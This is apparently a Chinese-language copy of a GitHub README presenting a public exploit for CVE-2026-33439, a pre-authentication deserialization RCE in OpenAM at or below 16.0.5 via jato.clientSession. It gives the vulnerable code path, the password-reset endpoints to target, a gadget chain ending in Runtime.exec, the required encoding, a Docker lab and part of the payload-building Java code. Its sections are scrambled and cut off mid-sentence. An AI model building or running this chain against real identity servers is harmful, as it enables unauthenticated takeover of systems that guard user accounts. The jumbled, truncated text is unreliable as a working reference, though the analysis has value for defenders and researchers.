TheMalwareGuardian/CVE-2026-33439
GitHub: TheMalwareGuardian/CVE-2026-33439
首个公开的 CVE-2026-33439 漏洞利用实现,通过 OpenAM jato.clientSession 反序列化路径实现预认证远程代码执行。
Stars: 0 | Forks: 0
# ***🐞 CVE-2026-33439: 通过 jato.clientSession 反序列化实现 OpenAM 预认证 RCE***
` 标签的 JATO ViewBean 端点发送包含序列化 Java 对象的精心构造的 HTTP GET 或 POST 请求。服务器收到请求后,在未进行验证的情况下反序列化该对象,触发了一个完全由 OpenAM WAR 包中自带的类构成的 Gadget Chain——无需外部库——并以应用程序进程用户的身份执行任意操作系统命令。
## ***🧬 CVE-2021-35464 谱系***
该漏洞是 CVE-2021-35464 修复不完全导致的直接回退。
- **[CVE-2021-35464](https://nvd.nist.gov/vuln/detail/CVE-2021-35464)** (ForgeRock AM / OpenAM):通过不安全的 `jato.pageSession` 参数反序列化实现预认证 RCE。在野外被广泛利用;已被 CISA KEV 收录。修复方案在 `ConsoleViewBeanBase.deserializePageAttributes()` 中引入了 `WhitelistObjectInputStream`——这是一个自定义的 `ObjectInputStream` 子类,它在实例化每个类名之前,会检查其是否在约 40 个安全类的硬编码允许列表中。
- **[CVE-2026-33439](https://nvd.nist.gov/vuln/detail/CVE-2026-33439)** (OpenAM ≤ 16.0.5):该修复仅应用于 `jato.pageSession`。而由 `ClientSession.deserializeAttributes()` 中完全独立的代码路径处理的 `jato.clientSession` 参数从未被修补,仍然使用未经过滤的 `Encoder.deserialize()` → `ApplicationObjectInputStream`,该路径在没有类白名单的情况下调用了 `ObjectInputStream.readObject()`。
攻击原语是相同的。反序列化汇却不同。仅仅是参数名发生了改变。
## ***🔬 CVE-2026-33439 漏洞分析***
### ***根本原因***
JATO 将 UI 视图状态序列化为名为 `jato.pageSession` 和 `jato.clientSession` 的 HTTP 参数。当请求到达时,OpenAM 在渲染响应之前反序列化这些参数以恢复 UI 状态。这两个参数遵循完全不同的代码路径。
针对 `jato.pageSession` 的已修补代码路径(CVE-2021-35464 修复后):
```
// PATCHED - ConsoleViewBeanBase.deserializePageAttributes()
ObjectInputStream ois = new WhitelistObjectInputStream(new ByteArrayInputStream(decoded));
// class whitelist enforced - gadget chains blocked
Object obj = ois.readObject();
```
针对 `jato.clientSession` 的未修补代码路径(存在漏洞):
```
// ClientSession.java
protected ClientSession(RequestContext context) {
this.encodedSessionString =
context.getRequest().getParameter("jato.clientSession");
}
protected void deserializeAttributes() {
if (this.encodedSessionString != null
&& this.encodedSessionString.trim().length() > 0) {
this.setAttributes(
(Map) Encoder.deserialize(
// VULNERABLE - URL-safe base64 decode then plain ObjectInputStream
Encoder.decodeHttp64(this.encodedSessionString), false)
);
}
}
```
*Encoder.deserialize()* 构造了一个普通的 *ApplicationObjectInputStream*——这是 *ObjectInputStream* 的一个子类,没有进行任何类过滤。JVM classpath 上的任何类都可以被实例化。每当渲染 *< jato:form >* 标签时,JSP 渲染期间就会触发反序列化:
```
getClientSession() → hasAttributes() → getEncodedString() → isValid() → ensureAttributes() → deserializeAttributes()
```
### ***受影响版本***
| 产品 | 受影响 | 已修复 |
|-----------------------------|-------------------------------------------------|--------|
| OpenIdentityPlatform OpenAM | ≤ 16.0.5 | 16.0.6 |
| ForgeRock AM (下游) | 可能受影响,取决于补丁继承情况 | - |
### ***攻击面***
任何 JSP 包含 *< jato:form >* 标签的 JATO ViewBean 端点都可以在预认证阶段被利用:
| 端点 | 用途 |
|---------------------------|--------------------------------------|
| /ui/PWResetUserValidation | 密码重置 - 用户身份输入 |
| /ui/PWResetQuestion | 密码重置 - 安全问题 |
密码重置端点是主要攻击目标,它们在设计上就是公开可访问的,并且一定会渲染 *< jato:form >* 标签。
## ***⚙️ Gadget Chain***
### ***Java 反序列化 101***
当 Java 从字节流中反序列化一个对象时,它会在重建的每个类(包括嵌套对象)上调用 `readObject()`。如果攻击者控制了字节流并注入一个对象,该对象的 `readObject()` 会触发一系列最终导致代码执行的方法调用,他们就实现了 Gadget Chain RCE。
CVE-2026-33439 的关键洞察是:该 Gadget Chain 不需要外部库。链中的每个类都打包在 OpenAM WAR 自身中:`openam-core-16.0.5.jar、xalan-2.7.3.jar 和 click-nodeps-2.3.0.jar`。这使得该漏洞在任何默认的 OpenAM 部署上都可以被利用。
### ***Encoder.decodeHttp64***
这是使漏洞利用生效的关键细节。`jato-shaded-16.0.5.jar` 中的 `Encoder` 类使用的是 Java 的 URL 安全 base64 编码器/解码器——不是标准 base64,也不是自定义的字符替换方案。
通过反编译 Encoder.class 验证:
```
# 从 JATO JAR 中提取 Encoder.class
jar xf /work/jato-shaded-16.0.5.jar com/iplanet/jato/util/Encoder.class
# 反编译并检查 decodeHttp64
javap -p -c com/iplanet/jato/util/Encoder.class | grep -A10 "decodeHttp64"
```
```
public static byte[] decodeHttp64(java.lang.String);
Code:
0: invokestatic #8 // Method java/util/Base64.getUrlDecoder:()Ljava/util/Base64$Decoder;
3: aload_0
4: invokevirtual #9 // Method java/util/Base64$Decoder.decode:(Ljava/lang/String;)[B
7: areturn
```
URL 安全 base64 使用 `-` 代替 `+`,使用 `_` 代替 `/`,且没有填充字符 `=`。正确的编码方式为:
```
Base64.getUrlEncoder().withoutPadding().encodeToString(serializedBytes)
```
任何其他编码方式,包括标准 base64 或手动字符替换,都会导致 `decodeHttp64()` 抛出异常或产生损坏的字节,从而在没有 HTTP 响应错误提示的情况下静默中止反序列化。
### ***Gadget Chain 内部机制***
完整链路,仅使用 OpenAM WAR 中的类:
```
PriorityQueue.readObject() [java.util - JDK]
→ heapify() → siftDown() → comparator.compare()
→ Column$ColumnComparator.compare(o1, o2) [openam-core-16.0.5.jar]
→ Column.getTable().isSortedAscending() [click-nodeps-2.3.0.jar]
→ Column.getProperty(o1)
→ PropertyUtils.getObjectPropertyValue( [openam-core-16.0.5.jar]
o1, "outputProperties")
→ Method.invoke(o1, "getOutputProperties")
→ TemplatesImpl.getOutputProperties() [xalan-2.7.3.jar]
→ getTransletInstance()
→ defineTransletClasses()
→ TransletClassLoader.defineClass(_bytecodes)
→ _class[_transletIndex].newInstance()
→ EvilTranslet.() [attacker bytecode]
→ Runtime.getRuntime().exec(cmd)
```
```
# 从 JAR 中提取 Column$ColumnComparator.class
jar xf /work/openam-core-16.0.5.jar 'org/openidentityplatform/openam/click/control/Column$ColumnComparator.class'
# 反编译并检查 compare() 方法,发现在 getProperty() 之前调用了 getTable()
javap -p -c 'org/openidentityplatform/openam/click/control/Column$ColumnComparator.class' | grep -A40 "compare"
# 提取并检查 Column.class,发现 getProperty() 和 setTable() 方法
jar xf /work/openam-core-16.0.5.jar org/openidentityplatform/openam/click/control/Column.class
javap -p org/openidentityplatform/openam/click/control/Column.class | grep -i "getProperty\|setTable\|getTable\|getComparator"
```
**关键细节:** "Column$ColumnComparator.compare()" 在调用 "getProperty()" 之前会调用 "column.getTable().isSortedAscending()"。如果 "getTable()" 返回 null,链路将在到达 "TemplatesImpl" 之前因 "NullPointerException" 中止。在序列化之前,必须通过 "column.setTable(table)" 将一个 "Table" 对象关联到 "Column"。
## ***🧪 实验环境***
### ***架构***
```
┌────────────────────────────────────────────────────────────────┐
│ Docker Network: lab_net │
│ (subnet 10.13.37.0/24) │
│ │
│ ┌──────────────────────────────┐ ┌───────────────────────┐ │
│ │ openam.lab.local │ │ attacker │ │
│ │ OpenAM 16.0.5 WAR │◄──│ Debian bookworm-slim │ │
│ │ Tomcat 10.1.52 + Java 21 │ │ Java 21 (JDK) │ │
│ │ jato.clientSession ← sink │ │ python3, curl, nc │ │
│ │ port 8080 │ │ │ │
│ └──────────────────────────────┘ └───────────────────────┘ │
│ ▲ │
└──────────────────┼─────────────────────────────────────────────┘
│ localhost:8080
┌──────┴──────┐
│ HOST │
└─────────────┘
```
| 容器 | 镜像 | 角色 |
|-------------------------|------------------------------------------|-------------------|
| cve_2026_33439_openam | tomcat:10.1.52-jdk21 + OpenAM 16.0.5 WAR | 漏洞目标 |
| cve_2026_33439_attacker | debian:bookworm-slim | 攻击机 |
### ***设置***
标签的 JSP - 这些是反序列化接收器
docker exec cve_2026_33439_openam grep -rl "jato:form" /usr/local/tomcat/webapps/openam
# 检查 web.xml 以了解密码重置 servlet 是如何映射到 HTTP 路由的
docker exec cve_2026_33439_openam grep -A5 -B5 "PWReset\|password" /usr/local/tomcat/webapps/openam/WEB-INF/web.xml | Select-String "url-pattern|servlet-name|PWReset|password"
```
检查 JSP 源码以了解为何 `jato.clientSession` 可能不会出现在渲染的 HTML 中。`` 标签被包裹在 `` 内,仅当 ViewBean 激活该块时才会渲染。然而,位于 JSP 顶部的 `` 总是会实例化 ViewBean 并在决定渲染哪些块之前处理 `jato.clientSession`——此时反序列化已经发生:
```
docker exec cve_2026_33439_openam cat /usr/local/tomcat/webapps/openam/password/ui/PWResetUserValidation.jsp
```
```
<%-- Always instantiates ViewBean and processes jato.clientSession --%>
<%-- Only renders if ViewBean activates this block --%>
<%-- jato.clientSession hidden field appears here --%>
```
**步骤 6 - 验证端点可在预认证阶段访问**
```
(Invoke-WebRequest -Uri "http://localhost:8080/openam/ui/PWResetUserValidation" -UseBasicParsing).Content | Select-String "jato"
```
### ***访问***
```
# 进入攻击者容器
docker exec -it cve_2026_33439_attacker bash
```
拆除环境:
```
# 停止,保留卷
docker compose down
# 完全清除
docker compose down -v
```
## ***💣 漏洞利用***
### ***前置条件***
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_bytecodes", new byte[][]{ bytecode });
setField(templates, "_name", "EvilTranslet");
setField(templates, "_tfactory", new TransformerFactoryImpl());
setField(templates, "_transletIndex", 0);
// Step 2 - Column with Table associated
// Column$ColumnComparator.compare() calls column.getTable().isSortedAscending() before calling column.getProperty(). Table must not be null.
Table table = new Table();
Column column = new Column("outputProperties");
column.setTable(table);
@SuppressWarnings("unchecked")
Comparator
人工洞察 + AI 辅助分析 + 逆向工程 + 安全通告 → 漏洞利用
首个公开共享的 CVE-2026-33439 漏洞利用实现
ForgeRock OpenAM 中存在未经认证的 Java 反序列化漏洞,允许通过精心构造的 JATO 会话对象实现完全的远程代码执行。同一条河流流了两次,他们修复了 jato.pageSession (CVE-2021-35464) 却忘记了 jato.clientSession (CVE-2026-33439)。反序列化 Gadget Chain 可不会索要凭证。
## ***📑 目录*** ## ***🎯 概述*** CVE-2026-33439 是 OpenIdentityPlatform OpenAM(16.0.6 之前的版本)中的一个预认证远程代码执行(RCE)漏洞。该漏洞源于 `ClientSession.deserializeAttributes()` 中对 `jato.clientSession` HTTP 参数进行了不安全的 Java 反序列化,该过程在没有应用类白名单的情况下调用了 `Encoder.deserialize()` → `ApplicationObjectInputStream.readObject()`。 未经认证的攻击者向任何 JSP 包含 `
标签:CISA项目, CVE-2021-35464, CVE-2026-33439, ForgeRock, Gadget Chain, IAM, jato.clientSession, jato.pageSession, Java反序列化, JS文件枚举, OpenAM, PoC, RCE, Web安全, 云资产清单, 攻击链, 数据展示, 暴力破解, 漏洞分析, 红队, 编程工具, 网络安全, 蓝队分析, 请求拦截, 路径探测, 身份与访问管理, 远程代码执行, 逆向工具, 逆向工程, 隐私保护, 零日漏洞, 预认证